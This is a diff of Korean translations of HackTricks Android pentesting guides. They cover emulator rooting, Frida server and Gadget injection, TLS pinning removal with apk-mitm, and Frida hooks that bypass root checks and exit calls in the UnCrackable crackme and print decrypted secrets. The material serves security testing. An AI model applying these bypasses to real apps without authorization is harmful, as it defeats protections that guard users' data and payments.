- apktool 필요; 빌드 문제를 피하려면 공식 가이드에서 최신 버전을 사용하십시오: https://apktool.org/docs/install
- Gadget injection은 root 없이 instrumentation을 가능하게 하지만 더 강력한 inittime 검사에 의해 여전히 탐지될 수 있습니다.
참고:
- apktool 필요합니다; 빌드 문제를 피하려면 공식 가이드에서 최신 버전을 사용하세요: https://apktool.org/docs/install
- Gadget injection은 root 없이 instrumentation을 가능하게 하지만 더 강력한 inittime checks에 의해 차단될 수 있습니다.
선택적으로, Zygisk 환경에서 더 강력한 root 숨김을 위해 LSPosed 모듈과 Shamiko를 추가하고, 자식 프로세스를 포함하도록 DenyList를 조정하세요.
선택적으로, Zygisk 환경에서 루트 은닉을 강화하기 위해 LSPosed 모듈과 Shamiko를 추가하고, 하위 프로세스를 포함하도록 DenyList를 정리하세요.
References:
참조:
- Objection: https://github.com/sensepost/objection
## Step 8 — Fallback: Patch TLS pinning for network visibility
## Step 8 — 폴백: TLS pinning 패치로 네트워크 가시성 확보
If instrumentation is blocked, you can still inspect traffic by removing pinning statically:
instrumentation이 차단된 경우, pinning을 정적으로 제거하여 트래픽을 검사할 수 있습니다:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
@ -254,10 +255,10 @@ apk-mitm app.apk
```
## 팁 및 주의사항
- 앱이 런치 시 크래시할 경우 spawn하기보다 늦게 attach하는 것이 좋
- 일부 detections는 중요한 흐름(예: payment, auth)에서 다시 실행될 수 있으므로 navigation 중에는 hooks를 활성 상태로 유지하라
- static과 dynamic을 혼합하라: Jadx에서 string을 찾아 클래스를 추려낸 다음, runtime에서 검증하기 위해 메서드에 hook를 걸어라
- 보안이 강화된 앱은 packers와 native TLS pinning을 사용할 수 있으므로 native 코드를 리버스해야 할 것으로 예상하라
- 앱이 런치 시 크래시할 때에는 spawn하기보다 나중에 attach하는 것을 권장합니
- 일부 감지 로직은 중요한 흐름(예: payment, auth)에서 재실행됩니다 — 네비게이션 중에는 hooks를 활성 상태로 유지하세요
- 정적(static)과 동적(dynamic)을 혼합하세요: Jadx에서 string hunt로 클래스 후보를 추려낸 다음, 런타임에서 검증하기 위해 hook methods를 사용하세요
- 하드닝된 앱은 packers와 native TLS pinning을 사용할 수 있으므로 reverse native code를 예상하세요
## References

View File

@ -1,24 +1,24 @@
# AVD - Android Virtual Device
# AVD - Android 가상 디바이스
{{#include ../../banners/hacktricks-training.md}}
이 콘텐츠 작성에 도움을 주신 [**@offsecjay**](https://twitter.com/offsecjay)께 감사드립니다.
이 콘텐츠 작성에 도움을 주신 [**@offsecjay**](https://twitter.com/offsecjay)께 진심으로 감사드립니다.
## 무엇인가
## AVD란
Android Studio는 Android 가상 머신을 **실행할 수 있게 해주며, 이를 통해 APKs를 테스트할 수 있습니다**. 이를 사용하려면 다음이 필요합니다:
Android Studio는 **APK를 테스트하는 데 사용할 수 있는 Android 가상 머신을 실행할 수 있게 해줍니다**. 이를 사용하려면 다음이 필요합니다:
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- 또는 **Android Studio** (Android SDK tools 포함) - [Download here](https://developer.android.com/studio).
Windows(제 경우)에서 **Android Studio를 설치한 후** **SDK Tools는 다음 경로에 설치되어 있었습니다**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Windows에서는(제 경우) **Android Studio를 설치한 후** **SDK Tools가 설치된 경로는**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
mac에서는 **SDK tools를 다운로드**하고 PATH에 추가하려면 다음을 실행하세요:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
또는 **Android Studio GUI**에서 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a)에 표시된 것처럼 설치할 수 있으며, 이는 `~/Library/Android/sdk/cmdline-tools/latest/bin/` `~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/`에 설치됩니다
또는 **Android Studio GUI**에서 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a)에 표시된 것처럼 `~/Library/Android/sdk/cmdline-tools/latest/bin/`, `~/Library/Android/sdk/platform-tools/``~/Library/Android/sdk/emulator/`에 설치됩니다
Java 문제의 경우:
```java
@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
### 가상 머신 준비
Android Studio를 설치했다면, 메인 프로젝트 뷰를 열고 다음으로 접근할 수 있습니다: _**Tools**_ --> _**AVD Manager.**_
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -36,38 +36,38 @@ Android Studio를 설치했다면, 메인 프로젝트 뷰를 열고 다음으
</div>
그런 다음 _**Create Virtual Device**_ 를 클릭하세요
그런 다음, _**Create Virtual Device**_를 클릭하세요
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**사용할 phone을 선택하세요**_ 그리_**Next.**_ 를 클릭하세요
_**select** 사용하려는 휴대폰을 선택하_**Next.**_ 를 클릭하세요
> [!WARNING]
> Play Store가 설치된 phone이 필요하면 Play Store 아이콘이 있는 항목을 선택하세요!
> Play Store가 설치된 폰이 필요하면 Play Store 아이콘이 있는 기기를 선택하세요!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
현재 화면에서 **폰이 실행할 Android image를 선택하고 다운로드**할 수 있습니다:
현재 화면에서 폰이 실행할 **Android image를 선택하고 다운로드**할 수 있습니다:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
이미지를 선택하고 아직 다운로드되지 않은 경우 이름 옆의 _**Download**_ 아이콘을 클릭하세요 (**이미지가 다운로드될 때까지 기다리세요).**\
이미지가 다운로드되면 **`Next`** 와 **`Finish`** 를 선택하면 됩니다.
해당 이미지를 선택하고, 다운로드되어 있지 않다면 이름 옆의 _**Download**_ 심볼을 클릭하세요 (**이미지가 다운로드될 때까지 기다리세요).**\
이미지가 다운로드되면, **`Next`** 와 **`Finish`** 를 선택하세요.
가상 머신이 생성됩니다. 이제 **AVD Manager에 접근할 때마다 해당 가상 머신이 표시됩니다**.
가상 머신이 생성됩니다. 이제 **AVD manager에 접근할 때마다 이 가상 머신이 표시됩니다**.
### 가상 머신 실행
실행하려면 _**Start button**_ 을 누르기만 하면 됩니다.
실행하려면 단순히 _**Start button**_ 을 누르세요.
![](<../../images/image (518).png>)
## 명령줄 도구
> [!WARNING]
> macOS의 경우 `avdmanager` 도구는 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager`에, `emulator``/Users/<username>/Library/Android/sdk/emulator/emulator`에 있습니다(설치된 경우).
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
먼저 **어떤 phone을 사용할지 결정**해야 하므로, 사용 가능한 phone 목록을 보려면 실행하세요:
먼저 **어떤 폰을 사용할지 결정해야 합니다**, 가능한 폰 목록을 보려면 다음을 실행하세요:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -95,16 +95,15 @@ Name: Nexus 10
OEM : Google
[...]
```
사용할 디바이스의 이름을 결정했으면, 이 디바이스에서 어떤 Android 이미지를 실행할지 **결정해야 합니다.**\
모든 옵션은 `sdkmanager`를 사용해 나열할 수 있습니다:
사용하려는 디바이스의 이름을 정했으면, 해당 디바이스에서 실행할 Android 이미지를 **결정해야 합니다.**\ 모든 옵션을 `sdkmanager`로 확인할 수 있습니다:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
그리고 사용하려는 것(또는 모두)을 다음 명령으로 **다운로드**하세요:
그리고 사용하려는 항목(또는 모두)를 **download** 하세요:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
원하는 Android 이미지를 다운로드한 후 다음 명령어로 **다운로드된 모든 Android 이미지를 나열**할 수 있습니다:
사용하려는 Android 이미지를 다운로드한 후 다음과 같이 **다운로드된 모든 Android 이미지를 나열**할 수 있습니다:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,12 +119,11 @@ Type: Platform
API level: 29
Revision: 4
```
이제 사용할 디바이스를 결정하고 Android 이미지를 다운로드했으므로, **다음 방법으로 가상 머신을 생성할 수 있습니다**:
이제 사용할 기기를 결정하고 Android 이미지를 다운로드했으므로, **다음 명령으로 가상 머신을 생성할 수 있습니다**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
이전 명령에서 **VM 이름을 _AVD9_로 생성했습니다** **장치** "_Nexus 5X_" 및 **Android image** "_system-images;android-28;google_apis;x86_64_"를 사용하여.\
이제 **생성한 virtual machines를 나열**하려면:
이전 명령에서 **다음 이름의 VM을 생성했습니다** "_AVD9_" **device** "_Nexus 5X_"와 **Android image** "_system-images;android-28;google_apis;x86_64_"를 사용했습니다.\ 이제 **생성한 virtual machines을 나열**하려면:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -143,52 +141,52 @@ Error: Google pixel_2 no longer exists as a device
### 가상 머신 실행
> [!WARNING]
> macOS의 경우, 설치되어 있다면 `avdmanager` 도구를 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager`에서, `emulator` `/Users/<username>/Library/Android/sdk/emulator/emulator`에서 찾을 수 있습니다.
> macOS에서는 `avdmanager` 도구를 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager`에서, `emulator` `/Users/<username>/Library/Android/sdk/emulator/emulator`에서 찾을 수 있습니다(설치된 경우).
생성된 가상 머신을 나열하는 방법은 이미 살펴보았지만, **다음 명령을 사용해 나열할 수도 있습니다**:
우리는 이미 생성된 가상 머신을 나열하는 방법을 보았지만, **다음 명령을 사용해 나열할 수도 있습니다**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
다음을 사용하여 생성된 **모든 가상 머신을 간단히 실행할 수 있습니다**:
다음을 사용하여 생성된 **모든 가상 머신을 간단히 실행할 수 있습니다:**
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
또는 더 고급 옵션을 사용하 다음과 같은 가상 머신을 실행할 수 있습니다:
또는 더 고급 옵션을 사용하 다음과 같은 가상 머신을 실행할 수 있습니다:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### 명령줄 옵션
하지만 VM을 시작할 때 사용할 수 있는 **다양한 유용한 명령줄 옵션이 많이 있습니다**. 아래에 몇 가지 흥미로운 옵션을 찾을 수 있으며, 전체 목록은 [**여기**](https://developer.android.com/studio/run/emulator-commandline)에서 확인할 수 있습니다.
하지만 가상 머신을 시작할 때 사용할 수 있는 유용한 명령줄 옵션이 **매우 많습니다**. 아래에는 몇 가지 흥미로운 옵션을 정리했으며 전체 목록은 [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
- `-snapshot name` : VM 스냅샷 시작
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 기록된 모든 스냅샷 나열
- `-snapshot name` : VM 스냅샷 시작
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 기록된 모든 스냅샷 나열
**Network**
- `-dns-server 192.0.2.0, 192.0.2.255` : 쉼표로 구분된 DNS 서버를 VM에 지정할 수 있음.
- **`-http-proxy 192.168.1.12:8080`** : 사용할 HTTP 프록시를 지정할 수 있음 (Burp로 트래픽을 캡처할 때 매우 유용)
- 프록시 설정이 어떤 이유로 작동하지 않으면, 내부에서 구성하거나 "Super Proxy"나 "ProxyDroid" 같은 애플리케이션을 사용해보세요.
- `-netdelay 200` : 네트워크 지연(에뮬레이션)을 밀리초 단위로 설정.
- `-port 5556` : 콘솔과 adb에 사용되는 TCP 포트 번호 설정.
- `-ports 5556,5559` : 콘솔과 adb에 사용되는 TCP 포트들 설정.
- **`-tcpdump /path/dumpfile.cap`** : 모든 트래픽을 파일로 캡처
- `-dns-server 192.0.2.0, 192.0.2.255` : 쉼표로 구분된 DNS 서버들을 VM에 지정할 수 있습니다.
- **`-http-proxy 192.168.1.12:8080`** : 사용할 HTTP 프록시를 지정할 수 있습니다 (트래픽을 캡처할 때 Burp와 함께 매우 유용합니다)
- 프록시 설정이 어떤 이유로 작동하지 않으면, 내부적으로 설정하거나 "Super Proxy" 또는 "ProxyDroid" 같은 애플리케이션을 사용하여 구성 보세요.
- `-netdelay 200` : 네트워크 지연을 밀리초 단위로 에뮬레이션합니다.
- `-port 5556` : 콘솔과 adb에 사용되는 TCP 포트 번호 설정합니다.
- `-ports 5556,5559` : 콘솔과 adb에 사용되는 TCP 포트를 설정합니다.
- **`-tcpdump /path/dumpfile.cap`** : 모든 트래픽을 파일로 캡처합니다
**System**
- `-selinux {disabled|permissive}` : Linux 운영체제에서 Security-Enhanced Linux 보안 모듈을 disabled 또는 permissive 모드로 설정.
- `-timezone Europe/Paris` : 가상 디바이스의 시간대 설정
- `-screen {touch(default)|multi-touch|o-touch}` : 에뮬레이션된 터치 스크린 모드 설정.
- **`-writable-system`** : 에뮬레이션 세션 동안 시스템 이미지를 쓰기 가능하게 하려면 이 옵션을 사용하세요. 또한 `adb root; adb remount`를 실행해야 합니다. 시스템에 새 인증서를 설치할 때 매우 유용합니다.
- `-selinux {disabled|permissive}` : Linux 운영체제에서 Security-Enhanced Linux 보안 모듈을 disabled 또는 permissive 모드로 설정합니다.
- `-timezone Europe/Paris` : 가상 디바이스의 타임존을 설정합니다
- `-screen {touch(default)|multi-touch|o-touch}` : 에뮬레이션된 터치 스크린 모드 설정합니다.
- **`-writable-system`** : 이 옵션을 사용하면 에뮬레이션 세션 동안 시스템 이미지를 쓰기 가능하게 만듭니다. 또한 `adb root; adb remount`를 실행해야 합니다. 시스템에 새로운 인증서를 설치할 때 매우 유용합니다.
## Linux CLI setup (SDK/AVD quickstart)
공식 CLI 도구를 사용하면 Android Studio 없이도 빠르고 디버깅 가능한 에뮬레이터를 쉽게 만들 수 있습니다.
공식 CLI 도구로 Android Studio 없이도 빠르고 디버깅 가능한 에뮬레이터를 쉽게 생성할 수 있습니다.
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -216,12 +214,12 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
adb root
adb shell whoami # expect: root
```
노트
- System image flavors: google_apis (디버그 가능, allows `adb root`), google_apis_playstore (not rootable), aosp/default (lightweight).
- Build types: userdebug often allows `adb root` on debug-capable images. Play Store images are production builds and block root.
- On x86_64 hosts, full-system ARM64 emulation is unsupported from API 28+. For Android 11+ use Google APIs/Play images that include per-app ARM-to-x86 translation to run many ARM-only apps quickly.
참고
- 시스템 이미지 종류: google_apis (디버깅 가능, adb root 허용), google_apis_playstore (root 불가), aosp/default (경량).
- 빌드 유형: userdebug는 디버그 가능 이미지에서 종종 `adb root`를 허용합니다. Play Store 이미지는 프로덕션 빌드로 루트 권한을 차단합니다.
- x86_64 호스트에서는 API 28+부터 전체 시스템 ARM64 에뮬레이션이 지원되지 않습니다. Android 11+의 경우 많은 ARM 전용 앱을 빠르게 실행하기 위해 앱별 ARM-to-x86 변환을 포함하는 Google APIs/Play 이미지를 사용하세요.
### CLI에서 스냅샷
### CLI에서 스냅샷
```bash
# Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup
@ -231,22 +229,22 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 바이너리 변환 (Android 11+)
Android 11+의 Google APIs 및 Play Store images는 시스템의 나머지 부분은 네이티브 x86/x86_64로 유지하면서 프로세스별로 ARM 앱 바이너리를 번역할 수 있습니다. 이는 데스크탑에서 많은 ARM 전용 앱을 테스트하기에 대체로 충분히 빠릅니다.
Android 11+의 Google APIs 및 Play Store images는 시스템의 나머지를 네이티브 x86/x86_64로 유지하면서 프로세스별로 ARM 앱 바이너리를 변환할 수 있습니다. 이는 데스크톱에서 많은 ARM-only 앱을 테스트하기에 충분히 빠른 경우가 많습니다.
> 팁: pentests 동안 Google APIs x86/x86_64 images를 사용하는 것이 좋습니다. Play images는 편하지만 `adb root`을 차단합니다; Play services가 꼭 필요하고 root가 없는 것을 받아들일 때만 사용하세요.
> 팁: pentests 동안 Google APIs x86/x86_64 images를 선호하세요. Play images는 편리하지만 `adb root`를 차단합니다; Play services가 반드시 필요하고 root가 없다는 것을 수용할 때만 사용하세요.
## Play Store 기기 루팅
## Play Store 디바이스의 root 획득
Play Store가 포함된 기기를 다운로드했다면 직접 root를 얻을 수 없으며 다음과 같은 오류 메시지가 나타납니다
Play Store가 포함된 디바이스를 다운로드한 경우 직접적으로 root를 얻을 수 없으며 다음과 같은 오류 메시지가 표시됩니다
```
$ adb root
adbd cannot run as root in production builds
```
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) [rootAVD]와 [Magisk]를 사용하여 루팅할 수 있었습니다 (예: [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **또는** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
[rootAVD](https://github.com/newbit1/rootAVD)와 [Magisk](https://github.com/topjohnwu/Magisk)를 사용하여 root할 수 있었습니다 (예: [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **또는** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Burp 인증서 설치
사용자 정의 CA 인증서를 설치하는 방법은 다음 페이지를 확인하세요:
다음 페이지를 확인하여 커스텀 CA 인증서를 설치하는 방법을 알아보세요:
{{#ref}}
@ -257,7 +255,7 @@ install-burp-certificate.md
### 스냅샷 찍기
언제든지 VM의 스냅샷을 **GUI를 사용하여** 찍을 수 있습니다:
언제든지 VM의 스냅샷을 찍으려면 **GUI를 사용**할 수 있습니다:
![](<../../images/image (234).png>)

View File

@ -5,17 +5,17 @@
## 설치
다음 항목을 설치하세요: **frida tools**
다음으로 **frida tools**를 설치하세요:
```bash
pip install frida-tools
pip install frida
```
**다운로드 및 설치** 안드로이드에 **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
adb를 root 모드로 재시작하고 연결한 뒤 frida-server를 업로드하고 실행 권한을 부여한 다음 백그라운드에서 실행하는 원라이너:
Android에 **frida server**를 **다운로드 및 설치**하세요 ([Download the latest release](https://github.com/frida/frida/releases)).\
adb를 root 모드로 재시작하고 기기에 연결한 후 frida-server를 업로드하고 실행 권한을 부여한 뒤 백그라운드에서 실행하는 한 줄 명령:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**확인**: 이것이 **작동**하는지:
**확인**해 보세요: 해당 항목이 **작동하는지**
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
@ -24,8 +24,8 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
Frida로 Android 앱을 계측하는 두 가지 일반적인 방법:
- Frida server (rooted devices): 네이티브 daemon을 push하고 실행하여 어떤 process에도 attach할 수 있게 해줍니다.
- Frida Gadget (no root): Frida를 shared library로 APK 내부에 번들하고 target process 내에서 자동으로 로드합니다.
- Frida server (rooted devices): 어떤 프로세스에도 attach할 수 있게 해주는 네이티브 데몬을 푸시하고 실행한다.
- Frida Gadget (no root): Frida를 공유 라이브러리로 APK 내부에 번들하고 대상 프로세스 내에서 자동으로 로드한다.
Frida server (rooted)
```bash
@ -42,21 +42,21 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) APK의 압축을 풀고, gadget .so와 config를 추가:
- libfrida-gadget.so를 lib/<abi>/에 배치하세요 (예: lib/arm64-v8a/)
- 스크립트 로딩 설정을 포함한 assets/frida-gadget.config 파일을 생성하세요
1) APK을 언팩하고 gadget .so와 config를 추가하세요:
- libfrida-gadget.so를 lib/<abi>/ (예: lib/arm64-v8a/)에 배치합니다
- assets/frida-gadget.config 파일을 생성하고 스크립트 로드 설정을 추가합니다
Example frida-gadget.config
예시 frida-gadget.config
```json
{
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) gadget을 참조/로드하여 조기에 초기화되도록 합니다:
- 가장 쉬운 방법: Application.onCreate()에 System.loadLibrary("frida-gadget")를 호출하는 작은 Java 스텁을 추가하거나, 이미 존재하는 네이티브 라이브러리 로딩을 사용하세요.
2) gadget를 참조/로드하여 조기에 초기화되도록:
- 가장 쉬운 방법: Application.onCreate()에 System.loadLibrary("frida-gadget")를 호출하는 작은 Java stub을 추가하거나, 기존의 네이티브 라이브러리 로딩을 사용하세요.
3) APK를 재패키징하고 서명한 다음 설치:
3) APK를 재패키징하고 서명한 설치:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@ -64,16 +64,16 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) host에서 gadget process에 Attach:
4) 호스트에서 gadget 프로세스에 연결:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
참고
- Gadget은 일부 보호 기능에 의해 탐지됩니다; 필요하면 이름/경로를 은폐하고 늦게/조건부로 로드하세요.
- 보호가 강화된 앱에서는 rooted testing을 server + late attach로 수행하거나 Magisk/Zygisk 숨김과 결합하는 것을 권장합니다.
노트
- Gadget은 일부 보호 메커니즘에 의해 탐지될 수 있으니 이름/경로를 은닉하고 필요하면 늦게 또는 조건부로 로드하세요.
- 하드닝된 앱의 경우 server + late attach를 이용한 rooted testing을 선호하거나 Magisk/Zygisk 은닉과 결합하세요.
## Tutorials
## 튜토리얼
### [Tutorial 1](frida-tutorial-1.md)
@ -81,27 +81,27 @@ frida -U -n com.example.app
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**읽으려면 [link to read it](frida-tutorial-1.md)를 따라가세요.**
**읽으려면 [링크를 확인하세요.](frida-tutorial-1.md)**
### [Tutorial 2](frida-tutorial-2.md)
**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**읽으려면[ link to read it.](frida-tutorial-2.md)**
**읽으려면 [링크를 확인하세요.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**출처**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**읽으려면 [link to read it](owaspuncrackable-1.md)를 따라가세요.**
**읽으려면 [링크를 확인하세요.](owaspuncrackable-1.md)**
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**추가 Awesome Frida 스크립트는 여기에서 찾을 수 있습니다:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## 빠른 예제
### 커맨드라인에서 Frida 호출
### 명령줄에서 Frida 호출하기
```bash
frida-ps -U
@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#frozen so that the instrumentation can occur, and the automatically
#continue execution with our modified code.
```
### 기본 Python Script
### 기본 Python 스크립트
```python
import frida, sys
@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking functions — 매개변수 없음
### Hooking 함수(매개변수 없음)
클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 Hook하세요.
클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 Hook하세요
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -144,7 +144,7 @@ sysexit.exit.overload("int").implementation = function (var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)")
}
```
Hook MainActivity `.onStart()` `.onCreate()`
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
mainactivity.onStart.overload().implementation = function () {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
android `.onCreate()`
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking 함수의 매개변수와 반환값 가져오기
### 매개변수가 있는 함수 Hooking 및 반환값 획득
복호화 함수에 Hooking하기. 입력을 출력하고, 원본 함수를 호출해 입력을 복호화한 다음, 평문 데이터를 출력합니다:
decryption 함수를 Hooking합니다. 입력을 출력하고, 원본 함수를 호출해 입력을 decrypt한 다음, 마지막으로 평문 데이터를 출력합니다:
```javascript
function getString(data) {
var ret = ""
@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### Hooking functions 및 우리 입력으로 호출하기
### Hooking functions and calling them with our input
string을 받는 function을 Hook하여 다른 string으로 호출한다 (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
string을 받는 함수를 Hook하고 다른 string으로 호출하기 (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
### 이미 생성된 클래스 객체 가져오기
### 이미 생성된 클래스 객체 가져오기
이미 생성된 객체의 속성 일부를 추출하려면 이 방법을 사용할 수 있습니다.
이미 생성된 객체의 속성(attribute)을 추출하려면 이것을 사용할 수 있습니다.
이 예제에서는 클래스 my_activity의 객체를 얻는 방법과, 해당 객체의 private 속성을 출력하는 .secret() 함수를 호출하는 방법을 보여줍니다:
이 예제에서는 클래스 my_activity의 객체를 가져오는 방법과 객체의 private 속성을 출력하는 .secret() 함수를 호출하는 방법을 보여줍니다:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@ -225,16 +225,16 @@ console.log("Result of secret func: " + instance.secret())
onComplete: function () {},
})
```
## 기타 Frida 튜토리얼
## 다른 Frida 튜토리얼
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Advanced Frida Usage 블로그 시리즈 1부: iOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## 참고 자료
## 참고자료
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
- [재현 가능한 Android Bug Bounty Lab 구축: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget 문서](https://frida.re/docs/gadget/)
- [Frida 릴리스 (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## ADB를 통한 시스템 전체 프록시
전역 HTTP 프록시를 구성하여 모든 앱이 트래픽을 interceptor (Burp/mitmproxy)를 통해 라우팅하도록 합니다:
모든 앱의 트래픽이 인터셉터(Burp/mitmproxy)를 통해 전달되도록 전역 HTTP 프록시를 구성합니다:
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
팁: Burp에서 리스너를 0.0.0.0에 바인드하면 LAN의 디바이스들이 연결할 수 있습니다 (Proxy -> Options -> Proxy Listeners).
팁: Burp에서 리스너를 0.0.0.0에 바인드하면 LAN의 장치들이 연결할 수 있습니다 (Proxy -> Options -> Proxy Listeners).
## 가상 머신에서
@ -21,7 +21,7 @@ adb shell settings put global http_proxy :0
![](<../../images/image (367).png>)
